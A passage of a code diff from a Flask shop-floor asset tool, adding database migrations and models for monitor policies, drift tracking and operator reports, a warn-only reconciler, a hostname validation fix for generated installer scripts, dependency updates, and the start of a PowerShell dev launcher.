'businesspolicies',
sa.column('name', sa.String),
sa.column('description', sa.Text),
sa.column('priority', sa.Integer),
sa.column('source', sa.String),
sa.column('createddate', sa.DateTime),
sa.column('modifieddate', sa.DateTime),
sa.column('isactive', sa.Boolean),
)
op.bulk_insert(business_policies, [{
'name': BUSINESS_POLICY_NAME,
'description': 'Product-shipped Site Policy that applies the shopfloor '
'app monitors to every endpoint. Read-only.',
'priority': 100,
'source': 'shipped',
'createddate': now,
'modifieddate': now,
'isactive': True,
}])
business_policy_id = bind.execute(
sa.text('SELECT businesspolicyid FROM businesspolicies '
'WHERE name = :name'),
{'name': BUSINESS_POLICY_NAME}).scalar()
items = sa.table(
'businesspolicyitems',
sa.column('businesspolicyid', sa.Integer),
sa.column('configurationpolicyid', sa.Integer),
sa.column('sortorder', sa.Integer),
sa.column('createddate', sa.DateTime),
sa.column('modifieddate', sa.DateTime),
sa.column('isactive', sa.Boolean),
)
op.bulk_insert(items, [{
'businesspolicyid': business_policy_id,
'configurationpolicyid': config_policy_id,
'sortorder': 0,
'createddate': now,
'modifieddate': now,
'isactive': True,
}])
def downgrade():
bind = op.get_bind()
tables = _tables(bind)
if 'businesspolicies' not in tables or 'configurationpolicies' not in tables:
return
# Clear children explicitly rather than lean on ON DELETE CASCADE, which a
# test DB (sqlite) does not enforce by default.
business_policy_id = bind.execute(
sa.text('SELECT businesspolicyid FROM businesspolicies '
'WHERE name = :name'),
{'name': BUSINESS_POLICY_NAME}).scalar()
config_policy_id = bind.execute(
sa.text('SELECT configurationpolicyid FROM configurationpolicies '
'WHERE name = :name'),
{'name': CONFIG_POLICY_NAME}).scalar()
if business_policy_id is not None:
bind.execute(
sa.text('DELETE FROM businesspolicyitems '
'WHERE businesspolicyid = :id'),
{'id': business_policy_id})
bind.execute(
sa.text('DELETE FROM businesspolicies WHERE businesspolicyid = :id'),
{'id': business_policy_id})
if config_policy_id is not None:
bind.execute(
sa.text('DELETE FROM configurationpolicyactions '
'WHERE configurationpolicyid = :id'),
{'id': config_policy_id})
bind.execute(
sa.text('DELETE FROM configurationpolicies '
'WHERE configurationpolicyid = :id'),
{'id': config_policy_id})

View File

@@ -0,0 +1,51 @@
"""Cache the warn-only reconciler drift on the endpoint state.
Adds endpointstates.driftjson: a per-asset JSON snapshot of the monitors a site
policy (or the shipped bundle) expects to be running on an endpoint but which the
latest agent report does not show as running. It is computed server-side on every
agent check-in and overwritten in place, the same ledger pattern the other state
snapshots (servicesjson, portsjson) already use - one current row per asset, no
history. Warn-only: nothing here is auto-remediated, it exists so an operator can
see the drift and intervene manually.
Nullable so an endpoint that has never checked in since the column landed reads
as "never computed" rather than "no drift".
Idempotent: the column-add checks the live schema first, so a db.create_all()
site (which built the column from the model already) and a re-run both stay clean
on strict MySQL 8.
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = 'endpoints0008drift'
down_revision = 'endpoints0007shippedpolicy'
branch_labels = None
depends_on = None
def _has_column(table_name, column_name):
from sqlalchemy import inspect
inspector = inspect(op.get_bind())
if not inspector.has_table(table_name):
return False
return any(col['name'] == column_name
for col in inspector.get_columns(table_name))
def upgrade():
if _has_column('endpointstates', 'driftjson'):
return
op.add_column(
'endpointstates',
sa.Column('driftjson', sa.Text(length=16777215), nullable=True))
def downgrade():
if not _has_column('endpointstates', 'driftjson'):
return
op.drop_column('endpointstates', 'driftjson')

View File

@@ -0,0 +1,63 @@
"""Operator issue reports (tray screenshot + free-text notes).
Adds operatorreports: one row per operator-submitted issue report for a PC
asset. The screenshot bytes live on disk under the instance uploads dir; this
table holds only metadata plus the stored file name so the image can be served
back and purged on retention. Reports are transient - a retention window
(default 7 days) purges old rows and their files - so this is a rolling
operator-signal feed, not a permanent record.
Idempotent: creation checks the live schema first so a db.create_all() site
(which already built the table) re-runs clean on strict MySQL 8.
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = 'endpoints0009opreports'
down_revision = 'endpoints0008drift'
branch_labels = None
depends_on = None
def _has_table(table_name):
from sqlalchemy import inspect
return inspect(op.get_bind()).has_table(table_name)
def upgrade():
if _has_table('operatorreports'):
return
op.create_table(
'operatorreports',
sa.Column('operatorreportid', sa.Integer(), nullable=False),
sa.Column('assetid', sa.Integer(), nullable=False),
sa.Column('reason', sa.String(length=128), nullable=False,
server_default='Other (free text)'),
sa.Column('details', sa.Text(), nullable=True),
sa.Column('imagefilename', sa.String(length=255), nullable=True),
sa.Column('imagemimetype', sa.String(length=64), nullable=True),
sa.Column('imagebytesize', sa.Integer(), nullable=True),
sa.Column('reportedhostname', sa.String(length=255), nullable=True),
sa.Column('createdat', sa.DateTime(), nullable=False),
sa.PrimaryKeyConstraint('operatorreportid'),
sa.ForeignKeyConstraint(
['assetid'], ['assets.assetid'],
name='fk_operatorreports_asset', ondelete='CASCADE'),
)
op.create_index('idx_operatorreports_asset', 'operatorreports', ['assetid'])
op.create_index('idx_operatorreports_createdat', 'operatorreports',
['createdat'])
def downgrade():
if not _has_table('operatorreports'):
return
op.drop_index('idx_operatorreports_createdat', table_name='operatorreports')
op.drop_index('idx_operatorreports_asset', table_name='operatorreports')
op.drop_table('operatorreports')

View File

@@ -0,0 +1,60 @@
"""Rename the shipped business policy off one site's designator.
0007 seeded it as "RPCA Shopfloor App Monitors". RPCA is the originating
plant's facility designator, and the row is product-owned: source='shipped',
seeded into every install, and the CRUD API refuses to rename it. So every
adopting site would carry another plant's label at the top of its policy list
with no way to change it, which is exactly what ADR-015 exists to prevent.
0007 now seeds the neutral name, which covers a fresh install. This migration
covers the installs that already stamped 0007 with the old one - the
originating site, and anyone who upgraded before this landed.
Renames only when the old name is present AND the new one is not, so it is
idempotent and cannot collide with a site that already has a policy of its own
under the new name. Downgrade is deliberately one-way: putting another site's
designator back into a shipped row is not a state worth being able to reach.
Revision ID: endpoints0010renamepolicy
Revises: endpoints0009opreports
"""
from alembic import op
import sqlalchemy as sa
revision = 'endpoints0010renamepolicy'
down_revision = 'endpoints0009opreports'
branch_labels = None
depends_on = None
OLD_NAME = 'RPCA Shopfloor App Monitors'
NEW_NAME = 'Shopfloor App Monitors'
def _has_table(bind, name):
return sa.inspect(bind).has_table(name)
def upgrade():
bind = op.get_bind()
# The policy tables belong to the computers plugin. Same guard as 0007: if
# they are not there, there is nothing seeded to rename.
if not _has_table(bind, 'businesspolicies'):
return
exists = bind.execute(
sa.text('SELECT COUNT(*) FROM businesspolicies WHERE name = :name'),
{'name': NEW_NAME}).scalar()
if exists:
return
bind.execute(
sa.text('UPDATE businesspolicies SET name = :new WHERE name = :old'),
{'new': NEW_NAME, 'old': OLD_NAME})
def downgrade():
# One-way on purpose. See the module docstring.
pass

View File

@@ -3,7 +3,10 @@
from .endpoint import (
EndpointState, EndpointEvent, EndpointCommand, EndpointApplication,
)
from .monitor import EndpointMonitor
from .operatorreport import OperatorReport
__all__ = [
'EndpointState', 'EndpointEvent', 'EndpointCommand', 'EndpointApplication',
'EndpointMonitor', 'OperatorReport',
]

View File

@@ -75,6 +75,13 @@ class EndpointState(db.Model):
interfacesjson = db.Column(db.Text(length=16777215), nullable=True)
scheduledtasksjson = db.Column(db.Text(length=16777215), nullable=True)
# Warn-only reconciler output, refreshed on every agent check-in in the same
# commit as servicesjson. Each entry names a policy/shipped-attached monitor
# the endpoint is expected to be running but the latest snapshot does not
# report as running, so an operator sees the drift and intervenes manually.
# This is warn-only: nothing here is auto-remediated. Null = never computed.
driftjson = db.Column(db.Text(length=16777215), nullable=True)
# Last-known MTConnect agent run state, cached so the WebUI toggle can show
# a real state between command polls. Set by the agent's mtconnect_status
# result. Null = never reported (unknown).

View File

@@ -0,0 +1,87 @@
"""Endpoint monitor definitions (the reusable monitor catalog).
A monitor definition is the "what": a named process or service the agent should
watch, with a bespoke display label separate from the raw OS name, plus optional
launch and collector paths. Definitions are the noun that a configuration policy
action points at; attaching a monitor to a PC type is a policy concern, not a
property of the definition itself.
Two sources:
shipped Internal apps we ship (eDNC, MTConnect, UDC). Seeded by migration.
Read-only in the UI: name and identity are fixed by the product.
local User-defined monitors built on the Settings page.
A definition is watched on an endpoint when a site policy in effect for that
endpoint's PC type includes a monitor action pointing at it.
"""
from datetime import datetime
from shopdb.api import db
def _utciso(value):
"""Naive-UTC datetime -> ISO string marked UTC, or None."""
return value.isoformat() + 'Z' if value else None
class EndpointMonitor(db.Model):
"""One reusable process or service monitor definition."""
__tablename__ = 'endpointmonitors'
endpointmonitorid = db.Column(db.Integer, primary_key=True)
# 'process' or 'service'. Decides which identity column is authoritative and
# which start/stop/status actions the row exposes.
kind = db.Column(db.String(16), nullable=False)
# The bespoke label operators see (e.g. 'MTConnect'). Distinct from the raw
# OS name because agent.exe is not obviously MTConnect.
displayname = db.Column(db.String(128), nullable=False)
# OS identity. For a process monitor, processname is the executable the agent
# matches (e.g. 'agent.exe'); for a service monitor, servicename is the
# Windows service name (e.g. 'MTConnect UDC Agent'). Exactly one is the
# authoritative identity for a given kind; the other stays null.
processname = db.Column(db.String(255), nullable=True)
servicename = db.Column(db.String(255), nullable=True)
# Optional paths supplied per monitor. launchpath starts the app; the
# collector paths point the agent at where the app writes data and logs.
launchpath = db.Column(db.String(512), nullable=True)
datacollectorpath = db.Column(db.String(512), nullable=True)
logcollectorpath = db.Column(db.String(512), nullable=True)
# 'shipped' (product-owned, seeded) or 'local' (user-built). Shipped rows are
# not editable or deletable through the CRUD API.
source = db.Column(db.String(16), nullable=False, default='local')
# Soft on/off so a monitor can be retired without losing policy references.
isactive = db.Column(db.Boolean, nullable=False, default=True)
createdat = db.Column(db.DateTime, nullable=False, default=datetime.utcnow)
__table_args__ = (
db.UniqueConstraint('kind', 'displayname', name='uq_endpointmonitors_kinddisplay'),
db.Index('idx_endpointmonitors_source', 'source'),
)
def __repr__(self):
return f"<EndpointMonitor {self.displayname!r} kind={self.kind} source={self.source}>"
def to_dict(self):
return {
'endpointmonitorid': self.endpointmonitorid,
'kind': self.kind,
'displayname': self.displayname,
'processname': self.processname,
'servicename': self.servicename,
'launchpath': self.launchpath,
'datacollectorpath': self.datacollectorpath,
'logcollectorpath': self.logcollectorpath,
'source': self.source,
'isactive': self.isactive,
'createdat': _utciso(self.createdat),
}

View File

@@ -0,0 +1,82 @@
"""Operator issue reports (screenshot + free-text notes from the tray).
An operator on a shop-floor PC opens the tray "Report an issue" dialog, writes a
free-text description, and optionally attaches a screenshot of their screen. The
agent uploads that to ShopDB, where it becomes one OperatorReport row linked to
the reporting PC's asset. The screenshot bytes live on disk under the instance
uploads dir (like employee photos); this row holds only metadata plus the
relative file path so the image can be served back and purged on retention.
Reports are transient by design: a retention window (default 7 days) purges old
rows and their image files, so this is a rolling operator-signal feed, not a
permanent record.
"""
from datetime import datetime
from shopdb.api import db
def _utciso(value):
"""Naive-UTC datetime -> ISO string marked UTC, or None."""
return value.isoformat() + 'Z' if value else None
class OperatorReport(db.Model):
"""One operator-submitted issue report for a PC asset."""
__tablename__ = 'operatorreports'
operatorreportid = db.Column(db.Integer, primary_key=True)
# The PC this report is about. ON DELETE CASCADE: when the asset goes, its
# operator reports go with it.
assetid = db.Column(
db.Integer,
db.ForeignKey('assets.assetid', ondelete='CASCADE'),
nullable=False,
)
# The dropdown reason. Only 'Other (free text)' is functional today, but the
# column is kept so the richer reason routing can return without a migration.
reason = db.Column(db.String(128), nullable=False, default='Other (free text)')
# The operator's free-text description. Nullable: a screenshot alone is a
# valid report.
details = db.Column(db.Text, nullable=True)
# Screenshot metadata. imagefilename is the stored file name under the
# operator-reports uploads dir; null when the operator declined a screenshot.
imagefilename = db.Column(db.String(255), nullable=True)
imagemimetype = db.Column(db.String(64), nullable=True)
imagebytesize = db.Column(db.Integer, nullable=True)
# The hostname the agent reported at upload time, kept for traceability even
# if the asset link is later re-pointed.
reportedhostname = db.Column(db.String(255), nullable=True)
createdat = db.Column(db.DateTime, nullable=False, default=datetime.utcnow)
__table_args__ = (
db.Index('idx_operatorreports_asset', 'assetid'),
db.Index('idx_operatorreports_createdat', 'createdat'),
)
def __repr__(self):
return f"<OperatorReport {self.operatorreportid} asset={self.assetid}>"
def has_image(self):
return bool(self.imagefilename)
def to_dict(self):
return {
'operatorreportid': self.operatorreportid,
'assetid': self.assetid,
'reason': self.reason,
'details': self.details,
'hasimage': self.has_image(),
'imagemimetype': self.imagemimetype,
'imagebytesize': self.imagebytesize,
'reportedhostname': self.reportedhostname,
'createdat': _utciso(self.createdat),
}

View File

@@ -486,6 +486,23 @@ class EndpointsPlugin(BasePlugin):
# the installed-software inventory
'group': 'software',
},
{
# Operator-submitted issue reports: a free-text note and an
# optional screenshot the operator captured from the tray. Sits
# in the Monitors tab beside the other watch-and-observe panels.
# A custom render carries the thumbnail grid and the expanding
# lightbox with left/right cycling the generic modes cannot.
'id': 'endpoints-operator-reports',
'title': 'Operator Reports',
'assettypes': ['computer'],
'endpoint': '/api/endpoints/panel/{assetid}/operatorreports',
'render': 'operatorreports',
'imagebase': '/api/endpoints/operatorreports',
'collapsible': True,
'empty': 'No operator reports for this endpoint.',
'position': 18,
'group': 'monitors',
},
]
def get_dashboard_widgets(self) -> List[Dict]:
@@ -802,6 +819,26 @@ class EndpointsPlugin(BasePlugin):
state.lastreportedat = datetime.utcnow()
# Warn-only reconciler: on this check-in, compare the monitors site
# policy expects to be running against what the snapshot reports, and
# cache the drift on the state in THIS transaction (same ledger commit as
# servicesjson). No start/stop is issued - drift is surfaced for an
# operator to act on. Reads the freshly reported services when present,
# else the last-known snapshot, so a report that omits services still
# reconciles against what we last saw. Fail-open: a reconciler error must
# never fail an otherwise-good check-in, so drift is left unchanged.
try:
if 'services' in payload:
reported_services = payload.get('services') or []
else:
reported_services = json.loads(state.servicesjson or '[]')
from .services.reconciler import compute_drift
state.driftjson = _as_json(compute_drift(assetid, reported_services))
except Exception:
logger.exception(
'reconciler failed for asset %s; leaving drift unchanged',
assetid)
# Log any keys the agent sent that the ingest path does not consume yet.
# New agent telemetry (disks, bios, memory, ...) lands here first: it is
# not persisted until the server grows columns for it, but logging the

View File

View File

@@ -0,0 +1,158 @@
"""Warn-only monitor reconciler.
The reconciler answers one question on every agent check-in: for the monitors a
site policy (or the shipped bundle) attaches to this endpoint, is each one the
endpoint is EXPECTED to be running actually reported as running in the latest
snapshot? Every monitor that is expected-running but not observed-running is
DRIFT, and drift is surfaced to an operator for MANUAL intervention.
This is warn-only. The reconciler NEVER starts, stops, or enqueues anything - it
compares observed state against expected state and records the difference. Whether
to later automate remediation (a keep-alive that starts a process when it drifts)
is a separate, deliberate opt-in the product does not ship switched on.
Two seams are kept deliberately narrow so this stays easy to change:
monitor_expects_running(monitor)
The single place that decides "should this monitor be up?". Today every
attached monitor is treated as expected-running (attachment implies intent
to run). When an observe-only monitor kind arrives - one that only collects
general state and must never be flagged as drift - this is the one function
that branches on it. Nothing else in the reconciler encodes that policy.
compute_drift(asset_id, reported_services)
Pure given its inputs: it resolves the attached monitors and diffs them
against the reported running set. It reads no request state and writes no
rows, so the ingest path can call it inside its own transaction and tests
can call it directly.
"""
# The running-state vocabulary a watched process/service can report. A watched
# service reports a STATE STRING, not a boolean, and the vocabulary varies by
# source, so what counts as running is a single rule rather than two.
#
# It lives here, and api/routes.py imports it, because the panel and this
# reconciler MUST agree: a service the panel paints green that this flags as
# drift is a contradiction shown to the same person on the same page. It was
# two copies with a comment asking a human to keep them in lockstep, which is
# not a mechanism.
RUNNING_STATES = ('running', 'started', 'up', 'ok', 'active')
def monitor_expects_running(monitor):
"""Whether an attached monitor is expected to be running on an endpoint.
The seam for the "should be up" decision. Today attachment implies intent to
run, so every active monitor returns True. A future observe-only monitor kind
(general state collection, never keep-alive) branches HERE and returns False
so it is never reported as drift - no other part of the reconciler needs to
change.
"""
return bool(getattr(monitor, 'isactive', True))
def _monitor_identity(monitor):
"""The (kind, osname) a monitor watches, or None when it has no identity.
Mirrors how the services panel reads a monitor's OS identity: a process
monitor is keyed by its processname, a service monitor by its servicename.
"""
kind = (getattr(monitor, 'kind', '') or '').lower() or None
if kind == 'process':
osname = getattr(monitor, 'processname', None)
elif kind == 'service':
osname = getattr(monitor, 'servicename', None)
else:
osname = None
osname = (osname or '').strip()
if not kind or not osname:
return None
return kind, osname
def _reported_running_keys(reported_services):
"""Set of (kind, lowercased-name) the snapshot reports as RUNNING.
Tolerant of the two shapes the agent snapshot uses: dict entries with
name/service and state/status (and an optional kind), or bare strings.
Only running entries land in the set; a stopped or unknown entry is absent,
which is what makes an expected-running monitor read as drift.
"""
running = set()
for entry in reported_services or ():
if isinstance(entry, dict):
name = entry.get('name') or entry.get('service') or ''
raw = (entry.get('state') or entry.get('status') or '').strip().lower()
kind = (entry.get('kind') or '').lower() or None
else:
name, raw, kind = str(entry), '', None
name = name.strip().lower()
if not name or raw not in RUNNING_STATES:
continue
running.add((kind, name))
return running
def _is_running(kind, osname, running_keys):
"""Whether a monitor's identity appears running in the snapshot.
A snapshot entry may omit kind (older agents, or a plain string list), so a
match on name alone under an unknown kind still counts as running - the
reconciler must not invent drift just because the agent did not label a row.
"""
needle = osname.strip().lower()
if (kind, needle) in running_keys:
return True
if (None, needle) in running_keys:
return True
return False
def compute_drift(asset_id, reported_services):
"""Compute the current drift list for an endpoint. Pure, no writes.
Resolves the monitors attached to the asset's PC type (shipped defaults plus
site policy), keeps only those that are expected-running, and returns one
entry per monitor whose identity is not reported as running. Returns an empty
list when nothing is attached or nothing has drifted, so the caller can store
it as "computed, no drift" distinct from a null "never computed".
Isolated from Flask request state: it reads the monitor catalog and the
passed-in snapshot only, so the ingest path calls it inside its own
transaction and tests call it directly.
"""
try:
from plugins.endpoints.api.routes import _resolved_monitors_for_asset
except Exception:
return []
monitors = _resolved_monitors_for_asset(asset_id) or []
if not monitors:
return []
running_keys = _reported_running_keys(reported_services)
drift = []
seen = set()
for monitor in monitors:
if not monitor_expects_running(monitor):
continue
identity = _monitor_identity(monitor)
if identity is None:
continue
kind, osname = identity
key = (kind, osname.lower())
if key in seen:
continue
seen.add(key)
if _is_running(kind, osname, running_keys):
continue
drift.append({
'monitorid': getattr(monitor, 'endpointmonitorid', None),
'kind': kind,
'name': osname,
'displayname': getattr(monitor, 'displayname', None) or osname,
'expected': 'running',
'observed': 'notrunning',
})
return drift

View File

@@ -3,7 +3,7 @@
import logging
import re
from flask import Blueprint, request, Response
from flask import Blueprint, request, Response, current_app
from flask_jwt_extended import jwt_required
from shopdb.api import db, cache, Setting, Asset, AssetType, Vendor, Model, Communication, CommunicationType, AssetRelationship, RelationshipType, success_response, error_response, paginated_response, ErrorCodes, get_pagination_params, paginate_query
@@ -380,6 +380,24 @@ def printer_install_list():
UNIVERSAL_INSTALL_VENDORS = frozenset({'HP', 'Xerox'})
# A hostname and nothing else: letters, digits, dot, hyphen, optional :port.
# Anything outside this cannot reach the generated script, so the quote that
# would end the PowerShell literal never gets the chance.
_HOST_RE = re.compile(r'^[A-Za-z0-9.-]+(?::[0-9]{1,5})?$')
def _safe_host(value):
"""A request-supplied host, or None when it is not one.
The value reaches a single-quoted PowerShell -Uri literal in the generated
.bat, so it is validated rather than escaped: an allowlist of what a host
may contain is a smaller thing to get right than enumerating what a shell
does with the rest.
"""
host = (value or '').strip()
return host if host and _HOST_RE.match(host) else None
def _batch_base_url():
"""Base URL the generated .bat downloads installers from. Prefer the
configured site_base_url (it already includes scheme + the /shopdb mount).
@@ -387,12 +405,34 @@ def _batch_base_url():
Fallback matters: behind IIS the app sees http on a loopback port and its
url_root drops the mount, so a naive request.url_root yields a broken
http://127.0.0.1/installers/... URL. Rebuild from the forwarded Host + the
mount (script_root) and force https instead."""
mount (script_root) and force https instead.
THE FALLBACK IS THE DEFAULT PATH, not an edge case: site_base_url ships
blank. So the host it uses is caller-supplied on every fresh install, and
it lands unescaped inside a single-quoted PowerShell literal. X-Forwarded-Host
is only believed when a proxy is actually declared (TRUSTED_PROXY_COUNT) -
the same rule shopdb/utils/clientip.py applies to X-Forwarded-For, which was
centralised for this exact reason and did not cover the Host variant. Either
way the value is validated as a hostname before it is interpolated, and a
request that supplies neither a usable forwarded host nor a usable Host gets
a relative base rather than a poisoned absolute one.
"""
base = (Setting.get('site_base_url') or '').strip().rstrip('/')
if base:
return base
host = request.headers.get('X-Forwarded-Host') or request.host
host = None
if current_app.config.get('TRUSTED_PROXY_COUNT'):
host = _safe_host(request.headers.get('X-Forwarded-Host'))
if not host:
host = _safe_host(request.host)
root = (request.script_root or '').rstrip('/')
if not host:
# Same-origin relative URLs still download correctly from the browser
# that fetched the script. Better than emitting a host we cannot vouch
# for into a file that runs commands.
return root
return 'https://%s%s' % (host, root)

View File

@@ -10,3 +10,10 @@
pytest>=7.0
pytest-flask>=1.2
pytest-cov>=4.0
# Parallel test execution. The suite is ~2300 tests whose cost is per-test
# fixture teardown (create_all/drop_all is ~0.06s each, ~40% of the wall clock)
# rather than any single slow test, so it parallelises almost linearly: 331s ->
# 103s on 8 cores, same 2309 passing. NOT in pytest.ini addopts - worker startup
# is dead weight on the targeted runs that make up most of a working day. Opt in
# with -n auto when running the whole suite.
pytest-xdist>=3.5

View File

@@ -1,9 +1,5 @@
# This file was autogenerated by uv via the following command:
# uv pip compile requirements-dev.in -c requirements.txt --universal --generate-hashes -o requirements-dev.txt
#
# The -c constraint pins every shared dependency to the SAME version production
# runs. Without it the two files were compiled at different times and drifted:
# CI tested against alembic 1.18.5 while sites installed 1.18.4.
alembic==1.18.4 \
--hash=sha256:a5ed4adcf6d8a4cb575f3d759f071b03cd6e5c7618eb796cb52497be25bfe19a \
--hash=sha256:cb6e1fd84b6174ab8dbb2329f86d631ba9559dd78df550b57804d607672cedbc
@@ -434,6 +430,10 @@ email-validator==2.3.0 \
# via
# -c requirements.txt
# -r requirements.in
execnet==2.1.2 \
--hash=sha256:63d83bfdd9a23e35b9c6a3261412324f964c2ec8dcd8d3c6916ee9373e0befcd \
--hash=sha256:67fba928dd5a544b783f6056f449e5e3931a5c378b128bc18501f7ea79e296ec
# via pytest-xdist
flask==3.1.3 \
--hash=sha256:0ef0e52b8a9cd932855379197dd8f94047b359ca0a78695144304cb45f87c9eb \
--hash=sha256:f4bcbefc124291925f1a26446da31a5178f9483862233b23c0c96a20701f670c
@@ -547,9 +547,9 @@ greenlet==3.5.0 ; platform_machine == 'AMD64' or platform_machine == 'WIN32' or
# via
# -c requirements.txt
# sqlalchemy
idna==3.13 \
--hash=sha256:585ea8fe5d69b9181ec1afba340451fba6ba764af97026f92a91d4eef164a242 \
--hash=sha256:892ea0cde124a99ce773decba204c5552b69c3c67ffd5f232eb7696135bc8bb3
idna==3.19 \
--hash=sha256:5e0811a4383b21dc5838069f801c4fb62113b7447663d2530d2bd6e77b49bf15 \
--hash=sha256:815e7be7a7806d54abb586dc943addc79e8b2ee16915059658cbeff4b1b43bf4
# via
# -c requirements.txt
# email-validator
@@ -715,10 +715,13 @@ mysql-connector-python==9.7.0 \
# via
# -c requirements.txt
# -r requirements.in
packaging==26.2 \
--hash=sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e \
--hash=sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661
# via pytest
packaging==26.3 \
--hash=sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79 \
--hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c
# via
# -c requirements.txt
# -r requirements.in
# pytest
pluggy==1.6.0 \
--hash=sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3 \
--hash=sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746
@@ -735,9 +738,9 @@ pygments==2.20.0 \
--hash=sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f \
--hash=sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176
# via pytest
pyjwt==2.12.1 \
--hash=sha256:28ca37c070cad8ba8cd9790cd940535d40274d22f80ab87f3ac6a713e6e8454c \
--hash=sha256:c74a7a2adf861c04d002db713dd85f84beb242228e671280bf709d765b03672b
pyjwt==2.13.0 \
--hash=sha256:41571c89ca91598c79e8ef18a2d07367d4810fbbd6f637794879baf1b7703423 \
--hash=sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728
# via
# -c requirements.txt
# flask-jwt-extended
@@ -754,6 +757,7 @@ pytest==9.1.1 \
# -r requirements-dev.in
# pytest-cov
# pytest-flask
# pytest-xdist
pytest-cov==7.1.0 \
--hash=sha256:30674f2b5f6351aa09702a9c8c364f6a01c27aae0c1366ae8016160d1efc56b2 \
--hash=sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678
@@ -762,6 +766,10 @@ pytest-flask==1.3.0 \
--hash=sha256:58be1c97b21ba3c4d47e0a7691eb41007748506c36bf51004f78df10691fa95e \
--hash=sha256:c0e36e6b0fddc3b91c4362661db83fa694d1feb91fa505475be6732b5bc8c253
# via -r requirements-dev.in
pytest-xdist==3.8.0 \
--hash=sha256:202ca578cfeb7370784a8c33d6d05bc6e13b4f25b5053c30a152269fd10f0b88 \
--hash=sha256:7e578125ec9bc6050861aa93f2d59f1d8d085595d6551c2c90b6f4fad8d3a9f1
# via -r requirements-dev.in
python-dotenv==1.2.2 \
--hash=sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a \
--hash=sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3

191
scripts/Start-ShopDBDev.ps1 Normal file
View File

@@ -0,0 +1,191 @@
<#
.SYNOPSIS
Save-and-run launcher for a ShopDB dev workstation (stable or edge).
.DESCRIPTION
Download this one file and run it. It clones (or updates) the repo at the
channel branch into a local path, then hands off to scripts/dev-bootstrap.ps1
for the real dependency-check / build / up work.
ge-aero/shopdb-flask is a PRIVATE repo, but this needs no token pasting: the
clone uses a plain https URL and Git Credential Manager supplies your stored
GitHub credential automatically - the same way `git clone` works in the wiki
DEVELOPMENT-SETUP procedure. If you have ever cloned this repo or signed in to
GitHub in Visual Studio / VS Code on this box, GCM already has what it needs.
This is a downloaded FILE, not a web `iex` one-liner, precisely because a
private repo cannot be fetched anonymously from raw.githubusercontent.com. A
saved script sidesteps that entirely - only the git operations need auth, and
GCM handles those.
.PARAMETER Channel
'stable' (the newest release tag) or 'edge' (main, the trunk). Defaults to 'stable'.
.PARAMETER TargetDir
Where to clone. Defaults to %USERPROFILE%\shopdb-dev, a separate working copy
from any repo you already have open.
.EXAMPLE
# Bleeding edge:
powershell -ExecutionPolicy Bypass -File .\Start-ShopDBDev.ps1 -Channel edge
.EXAMPLE
# Stable:
powershell -ExecutionPolicy Bypass -File .\Start-ShopDBDev.ps1 -Channel stable
.NOTES
ASCII only, no emoji or smart punctuation, per repo style. PowerShell 5.1+.
Needs Git (with Credential Manager, the Git-for-Windows default);
dev-bootstrap.ps1 offers to winget-install anything else that is missing.
#>
[CmdletBinding()]
param(
[ValidateSet('stable', 'edge')]
[string]$Channel = 'stable',
[string]$TargetDir
)
$ErrorActionPreference = 'Stop'
# Reset leftovers from an interrupted or timed-out prior run so the retry starts
# clean. Proxy bottlenecks can kill a build mid-flight, leaving orphaned
# containers holding the channel ports, dangling build cache from the partial
# build, and sometimes a half-written clone. This is scoped to the channel and
# is non-destructive to data: the compose down keeps named volumes (the DB), and
# only dangling build cache is pruned - never tagged images or volumes.
function Clear-InterruptedRun {
param(
[Parameter(Mandatory)][string]$Project,
[Parameter(Mandatory)][string]$Target
)
if (Get-Command docker -ErrorAction SilentlyContinue) {
# docker/compose write warnings to stderr (e.g. "No resource found to
# remove"), which would trip $ErrorActionPreference='Stop' and abort the
# whole run. These cleanup steps are best-effort, so soften the preference
# and swallow all streams for their duration.
$previous = $ErrorActionPreference
$ErrorActionPreference = 'Continue'
try {
# Only try compose down when the engine is actually responding, otherwise
# skip quietly - a fresh box may not have Docker started yet.
docker info *> $null
if ($LASTEXITCODE -eq 0) {
Write-Host "==> Cleaning up any interrupted '$Project' stack" -ForegroundColor Cyan
# --remove-orphans clears containers left by a killed build; volumes are
# intentionally kept so the DB survives a retry.
docker compose -p $Project down --remove-orphans *> $null
# Reclaim only dangling build cache from failed/partial builds.
docker builder prune -f *> $null
}
}
finally {
$ErrorActionPreference = $previous
}
}
# A directory that exists but has no valid .git is a broken/partial clone -
# USUALLY. It is also what -TargetDir pointed at somebody's Documents folder
# looks like, and this ran Remove-Item -Recurse -Force on it without asking.
# For a script distributed as "save it anywhere and run it", a mistyped
# -TargetDir must not be able to delete a user's files.
#
# Only reclaim a directory this script can show it owns: empty, or carrying
# the marker written after a successful clone. Anything else stops.
if ((Test-Path $Target) -and -not (Test-Path (Join-Path $Target '.git'))) {
$ours = Test-Path (Join-Path $Target $script:CloneMarker)
$empty = -not (Get-ChildItem -LiteralPath $Target -Force |
Select-Object -First 1)
if ($ours -or $empty) {
Write-Host "==> Removing incomplete clone at $Target" -ForegroundColor Cyan
Remove-Item -Path $Target -Recurse -Force
}
else {
throw ("$Target already exists, is not empty, and was not created " +
"by this launcher. Refusing to delete it. Pass -TargetDir " +
'pointing somewhere else, or remove it yourself if you are sure.')
}
}
# A clone created by an elevated (Administrator) run is owned by
# BUILTIN\Administrators; a later non-elevated run then trips git's
# "detected dubious ownership" guard and every git op fails with exit 128.
# That stale clone is effectively unusable for this user, so detect the
# condition and remove it here for a clean re-clone rather than surfacing a
# misleading auth error later.
if (Test-Path (Join-Path $Target '.git')) {
$previous = $ErrorActionPreference
